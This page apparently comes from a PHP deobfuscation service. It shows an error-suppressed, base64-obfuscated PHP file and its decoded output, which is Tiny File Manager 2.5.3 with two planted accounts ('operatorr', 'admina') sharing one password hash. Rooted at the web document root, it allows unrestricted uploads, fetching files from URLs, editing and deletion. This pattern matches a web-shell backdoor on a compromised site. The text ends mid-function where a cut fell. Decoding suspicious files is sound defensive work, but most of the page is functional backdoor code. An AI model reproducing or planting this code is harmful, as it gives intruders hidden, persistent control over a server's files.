Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); ini_set('display_errors', 0); $z = "PD9waHAKLy9EZWZhdWx0IEN..

Decoded Output download

?>b'<?php
//Default Configuration
$CONFIG = \'{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}\';

/**
 * H3K | Tiny File Manager V2.5.3
 * @author CCP Programmers
 * @email [email protected]
 * @github https://github.com/prasathmani/tinyfilemanager
 * @link https://tinyfilemanager.github.io
 */

//TFM version
define(\'VERSION\', \'2.5.3\');

//Application Title
define(\'APP_TITLE\', \'Tiny File Manager\');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array(\'Username\' => \'Password\', \'Username2\' => \'Password2\', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    \'operatorr\' => \'$2y$10$bNo.DOpuSz0XvUoYuRABFODh4KmXhSXID0LrUeXFN1rNBmjMFnpR2\',
    \'admina\' => \'$2y$10$bNo.DOpuSz0XvUoYuRABFODh4KmXhSXID0LrUeXFN1rNBmjMFnpR2\'
);

// Readonly users
// e.g. array(\'users\', \'guest\', ...)
$readonly_users = array(
    \'user\'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array(\'Username\' => \'Directory path\', \'Username2\' => \'Directory path\', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view\'s page
$use_highlightjs = true;

// highlight.js style
// for dark theme use \'ir-black\'
$highlightjs_style = \'vs\';

// Enable ace.js (https://ace.c9.io/) on view\'s page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = \'Etc/UTC\'; // UTC

// Root path for file manager
// use absolute path of directory i.e: \'/var/www/folder\' or $_SERVER[\'DOCUMENT_ROOT\'].\'/folder\'
$root_path = $_SERVER[\'DOCUMENT_ROOT\'];

// Root url for links in file manager.Relative to $http_host. Variants: \'\', \'path/to/subfolder\'
// Will not working if $root_path will be outside of server document root
$root_url = \'\';

// Server hostname. Can set manually if wrong
// $_SERVER[\'HTTP_HOST\'].\'/folder\'
$http_host = $_SERVER[\'HTTP_HOST\'];

// input encoding for iconv
$iconv_input_encoding = \'UTF-8\';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = \'m/d/Y g:i A\';

// Path display mode when viewing file information
// \'full\' => show full path
// \'relative\' => show path relative to root_path
// \'host\' => show path on the host
$path_display_mode = \'full\';

// Allowed file extensions for create and rename files
// e.g. \'txt,html,css,js\'
$allowed_file_extensions = \'\';

// Allowed file extensions for upload files
// e.g. \'gif,png,jpg,html,txt\'
$allowed_upload_extensions = \'\';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = \'\';

// Files and folders to excluded from listing
// e.g. array(\'myfile.html\', \'personal-folder\', \'*.php\', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are \'google\', \'microsoft\' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = \'google\';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are \'OFF\', \'AND\' or \'OR\'
// OFF => Don\'t check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = \'OFF\';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    \'127.0.0.1\',    // local ipv4
    \'::1\'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    \'0.0.0.0\',      // non-routable meta ipv4
    \'::\'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__.\'/config.php\';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    \'css-bootstrap\' => \'<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">\',
    \'css-dropzone\' => \'<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">\',
    \'css-font-awesome\' => \'<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">\',
    \'css-highlightjs\' => \'<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/\' . $highlightjs_style . \'.min.css">\',
    \'js-ace\' => \'<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>\',
    \'js-bootstrap\' => \'<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>\',
    \'js-dropzone\' => \'<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>\',
    \'js-jquery\' => \'<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>\',
    \'js-jquery-datatables\' => \'<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>\',
    \'js-highlightjs\' => \'<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>\',
    \'pre-jsdelivr\' => \'<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>\',
    \'pre-cloudflare\' => \'<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>\'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define(\'MAX_UPLOAD_SIZE\', $max_upload_size_bytes);

// upload chunk size
define(\'UPLOAD_CHUNK_SIZE\', $upload_chunk_size_bytes);

// private key and session name to store to the session
if ( !defined( \'FM_SESSION_ID\')) {
    define(\'FM_SESSION_ID\', \'filemanager\');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data[\'lang\']) ? $cfg->data[\'lang\'] : \'en\';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data[\'show_hidden\']) ? $cfg->data[\'show_hidden\'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data[\'error_reporting\']) ? $cfg->data[\'error_reporting\'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data[\'hide_Cols\']) ? $cfg->data[\'hide_Cols\'] : true;

// Theme
$theme = isset($cfg->data[\'theme\']) ? $cfg->data[\'theme\'] : \'light\';

define(\'FM_THEME\', $theme);

//available languages
$lang_list = array(
    \'en\' => \'English\'
);

if ($report_errors == true) {
    @ini_set(\'error_reporting\', E_ALL);
    @ini_set(\'display_errors\', 1);
} else {
    @ini_set(\'error_reporting\', E_ALL);
    @ini_set(\'display_errors\', 0);
}

// if fm included
if (defined(\'FM_EMBED\')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set(\'default_charset\', \'UTF-8\');
    if (version_compare(PHP_VERSION, \'5.6.0\', \'<\') && function_exists(\'mb_internal_encoding\')) {
        mb_internal_encoding(\'UTF-8\');
    }
    if (function_exists(\'mb_regex_encoding\')) {
        mb_regex_encoding(\'UTF-8\');
    }

    session_cache_limiter(\'nocache\'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler(\'session_error_handling_function\');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION[\'token\'])) {
    if (function_exists(\'random_bytes\')) {
        $_SESSION[\'token\'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION[\'token\'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER[\'HTTPS\']) && ($_SERVER[\'HTTPS\'] == \'on\' || $_SERVER[\'HTTPS\'] == 1)
    || isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID][\'logged\']) && !empty($directories_users[$_SESSION[FM_SESSION_ID][\'logged\']])) {
    $wd = fm_clean_path(dirname($_SERVER[\'PHP_SELF\']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID][\'logged\']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined(\'FM_ROOT_URL\') || define(\'FM_ROOT_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . (!empty($root_url) ? \'/\' . $root_url : \'\'));
defined(\'FM_SELF_URL\') || define(\'FM_SELF_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . $_SERVER[\'PHP_SELF\']);

// logout
if (isset($_GET[\'logout\'])) {
    unset($_SESSION[FM_SESSION_ID][\'logged\']);
    unset( $_SESSION[\'token\']); 
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != \'OFF\') {
    function getClientIP() {
        if (array_key_exists(\'HTTP_CF_CONNECTING_IP\', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists(\'HTTP_X_FORWARDED_FOR\', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists(\'REMOTE_ADDR\', $_SERVER)) {
            return $_SERVER[\'REMOTE_ADDR\'];
        }else if (array_key_exists(\'HTTP_CLIENT_IP\', $_SERVER)) {
            return $_SERVER[\'HTTP_CLIENT_IP\'];
        }
        return \'\';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == \'AND\'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == \'OR\'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error(\'User connection denied from: \' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng(\'Access denied. IP restriction applicable\'), \'error\');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID][\'logged\'], $auth_users[$_SESSION[FM_SESSION_ID][\'logged\']])) {
        // Logged
    } elseif (isset($_POST[\'fm_usr\'], $_POST[\'fm_pwd\'], $_POST[\'token\'])) {
        // Logging In
        sleep(1);
        if(function_exists(\'password_verify\')) {
            if (isset($auth_users[$_POST[\'fm_usr\']]) && isset($_POST[\'fm_pwd\']) && password_verify($_POST[\'fm_pwd\'], $auth_users[$_POST[\'fm_usr\']]) && verifyToken($_POST[\'token\'])) {
                $_SESSION[FM_SESSION_ID][\'logged\'] = $_POST[\'fm_usr\'];
                fm_set_msg(lng(\'You are logged in\'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID][\'logged\']);
                fm_set_msg(lng(\'Login failed. Invalid username or password\'), \'error\');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng(\'password_hash not supported, Upgrade PHP version\'), \'error\');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID][\'logged\']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng(\'Username\'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng(\'Password\'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION[\'token\']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng(\'Login\'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                             
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> 
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID][\'logged\'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID][\'logged\']]) ? $directories_users[$_SESSION[FM_SESSION_ID][\'logged\']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, \'\/\');
$root_path = str_replace(\'\\', \'/\', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng(\'Root path\')." \"{$root_path}\" ".lng(\'not found!\')." </h1>";
    exit;
}

defined(\'FM_SHOW_HIDDEN\') || define(\'FM_SHOW_HIDDEN\', $show_hidden_files);
defined(\'FM_ROOT_PATH\') || define(\'FM_ROOT_PATH\', $root_path);
defined(\'FM_LANG\') || define(\'FM_LANG\', $lang);
defined(\'FM_FILE_EXTENSION\') || define(\'FM_FILE_EXTENSION\', $allowed_file_extensions);
defined(\'FM_UPLOAD_EXTENSION\') || define(\'FM_UPLOAD_EXTENSION\', $allowed_upload_extensions);
defined(\'FM_EXCLUDE_ITEMS\') || define(\'FM_EXCLUDE_ITEMS\', (version_compare(PHP_VERSION, \'7.0.0\', \'<\') ? serialize($exclude_items) : $exclude_items));
defined(\'FM_DOC_VIEWER\') || define(\'FM_DOC_VIEWER\', $online_viewer);
define(\'FM_READONLY\', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID][\'logged\']) && in_array($_SESSION[FM_SESSION_ID][\'logged\'], $readonly_users)));
define(\'FM_IS_WIN\', DIRECTORY_SEPARATOR == \'\\');

// always use ?p=
if (!isset($_GET[\'p\']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . \'?p=\');
}

// get path
$p = isset($_GET[\'p\']) ? $_GET[\'p\'] : (isset($_POST[\'p\']) ? $_POST[\'p\'] : \'\');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents(\'php://input\');
$_POST = (strpos($input, \'ajax\') != FALSE && strpos($input, \'save\') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define(\'FM_PATH\', $p);
define(\'FM_USE_AUTH\', $use_auth);
define(\'FM_EDIT_FILE\', $edit_files);
defined(\'FM_ICONV_INPUT_ENC\') || define(\'FM_ICONV_INPUT_ENC\', $iconv_input_encoding);
defined(\'FM_USE_HIGHLIGHTJS\') || define(\'FM_USE_HIGHLIGHTJS\', $use_highlightjs);
defined(\'FM_HIGHLIGHTJS_STYLE\') || define(\'FM_HIGHLIGHTJS_STYLE\', $highlightjs_style);
defined(\'FM_DATETIME_FORMAT\') || define(\'FM_DATETIME_FORMAT\', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID][\'logged\'], $auth_users[$_SESSION[FM_SESSION_ID][\'logged\']]) || !FM_USE_AUTH) && isset($_POST[\'ajax\'], $_POST[\'token\']) && !FM_READONLY) {
    if(!verifyToken($_POST[\'token\'])) {
        header(\'HTTP/1.0 401 Unauthorized\');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if(isset($_POST[\'type\']) && $_POST[\'type\']=="search") {
        $dir = $_POST[\'path\'] == "." ? \'\': $_POST[\'path\'];
        $response = scan(fm_clean_path($dir), $_POST[\'content\']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST[\'type\']) && $_POST[\'type\'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != \'\') {
            $path .= \'/\' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . \'?p=\');
        }
        $file = $_GET[\'edit\'];
        $file = fm_clean_path($file);
        $file = str_replace(\'/\', \'\', $file);
        if ($file == \'\' || !is_file($path . \'/\' . $file)) {
            fm_set_msg(lng(\'File not found\'), \'error\');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
        }
        header(\'X-XSS-Protection:0\');
        $file_path = $path . \'/\' . $file;

        $writedata = $_POST[\'content\'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST[\'type\']) && $_POST[\'type\'] == "backup" && !empty($_POST[\'file\'])) {
        $fileName = fm_clean_path($_POST[\'file\']);
        $fullPath = FM_ROOT_PATH . \'/\';
        if (!empty($_POST[\'path\'])) {
            $relativeDirPath = fm_clean_path($_POST[\'path\']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST[\'type\']) && $_POST[\'type\'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST[\'js-language\'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = \'en\';
        }

        $erp = isset($_POST[\'js-error-report\']) && $_POST[\'js-error-report\'] == "true" ? true : false;
        $shf = isset($_POST[\'js-show-hidden\']) && $_POST[\'js-show-hidden\'] == "true" ? true : false;
        $hco = isset($_POST[\'js-hide-cols\']) && $_POST[\'js-hide-cols\'] == "true" ? true : false;
        $te3 = $_POST[\'js-theme-3\'];

        if ($cfg->data[\'lang\'] != $newLng) {
            $cfg->data[\'lang\'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data[\'error_reporting\'] != $erp) {
            $cfg->data[\'error_reporting\'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data[\'show_hidden\'] != $shf) {
            $cfg->data[\'show_hidden\'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data[\'show_hidden\'] != $shf) {
            $cfg->data[\'show_hidden\'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data[\'hide_Cols\'] != $hco) {
            $cfg->data[\'hide_Cols\'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data[\'theme\'] != $te3) {
            $cfg->data[\'theme\'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST[\'type\']) && $_POST[\'type\'] == "pwdhash") {
        $res = isset($_POST[\'inputPassword2\']) && !empty($_POST[\'inputPassword2\']) ? password_hash($_POST[\'inputPassword2\'], PASSWORD_DEFAULT) : \'\';
        echo $res;
    }

    //upload using url
    if(isset($_POST[\'type\']) && $_POST[\'type\'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != \'\') {
            $path .= \'/\' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), "... ");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(\',\', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), \'?\'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET[\'del\'], $_POST[\'token\']) && !FM_READONLY) {
    $del = str_replace( \'/\', \'\', fm_clean_path( $_GET[\'del\'] ) );
    if ($del != \'\' && $del != \'..\' && $del != \'.\' && verifyToken($_POST[\'token\'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != \'\') {
            $path .= \'/\' . FM_PATH;
        }
        $is_dir = is_dir($path . \'/\' . $del);
        if (fm_rdelete($path . \'/\' . $del)) {
            $msg = $is_dir ? lng(\'Folder\').\' <b>%s</b> \'.lng(\'Deleted\') : lng(\'File\').\' <b>%s</b> \'.lng(\'Deleted\');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng(\'Folder\').\' <b>%s</b> \'.lng(\'not deleted\') : lng(\'File\').\' <b>%s</b> \'.lng(\'not deleted\');
            fm_set_msg(sprintf($msg, fm_enc($del)), \'error\');
        }
    } else {
        fm_set_msg(lng(\'Invalid file or folder name\'), \'error\');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST[\'newfilename\'], $_POST[\'newfile\'], $_POST[\'token\']) && !FM_READONLY) {
    $type = urldecode($_POST[\'newfile\']);
    $new = str_replace( \'/\', \'\', fm_clean_path( strip_tags( $_POST[\'newfilename\'] ) ) );
    if (fm_isvalid_filename($new) && $new != \'\' && $new != \'..\' && $new != \'.\' && verifyToken($_POST[\'token\'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != \'\') {
            $path .= \'/\' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . \'/\' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . \'/\' . $new, \'w\') or die(\'Cannot open file:  \' . $new);
                    fm_set_msg(sprintf(lng(\'File\').\' <b>%s</b> \'.lng(\'Created\'), fm_enc($new)));
                } else {
                    fm_set_msg(lng(\'File extension is not allowed\'), \'error\');
                }
            } else {
                fm_set_msg(sprintf(lng(\'File\').\' <b>%s</b> \'.lng(\'already exists\'), fm_enc($new)), \'alert\');
            }
        } else {
            if (fm_mkdir($path . \'/\' . $new, false) === true) {
                fm_set_msg(sprintf(lng(\'Folder\').\' <b>%s</b> \'.lng(\'Created\'), $new));
            } elseif (fm_mkdir($path . \'/\' . $new, false) === $path . \'/\' . $new) {
                fm_set_msg(sprintf(lng(\'Folder\').\' <b>%s</b> \'.lng(\'already exists\'), fm_enc($new)), \'alert\');
            } else {
                fm_set_msg(sprintf(lng(\'Folder\').\' <b>%s</b> \'.lng(\'not created\'), fm_enc($new)), \'error\');
            }
        }
    } else {
        fm_set_msg(lng(\'Invalid characters in file or folder name\'), \'error\');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET[\'copy\'], $_GET[\'finish\']) && !FM_READONLY) {
    // from
    $copy = urldecode($_GET[\'copy\']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == \'\') {
        fm_set_msg(lng(\'Source path not defined\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . \'/\' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $dest .= \'/\' . FM_PATH;
    }
    $dest .= \'/\' . basename($from);
    // move?
    $move = isset($_GET[\'move\']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . \'/\' . basename($from), \'/\');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng(\'Moved from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng(\'File or folder with this path already exists\'), \'alert\');
            } else {
                fm_set_msg(sprintf(lng(\'Error while moving from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)), \'error\');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng(\'Copied from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng(\'Error while copying from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)), \'error\');
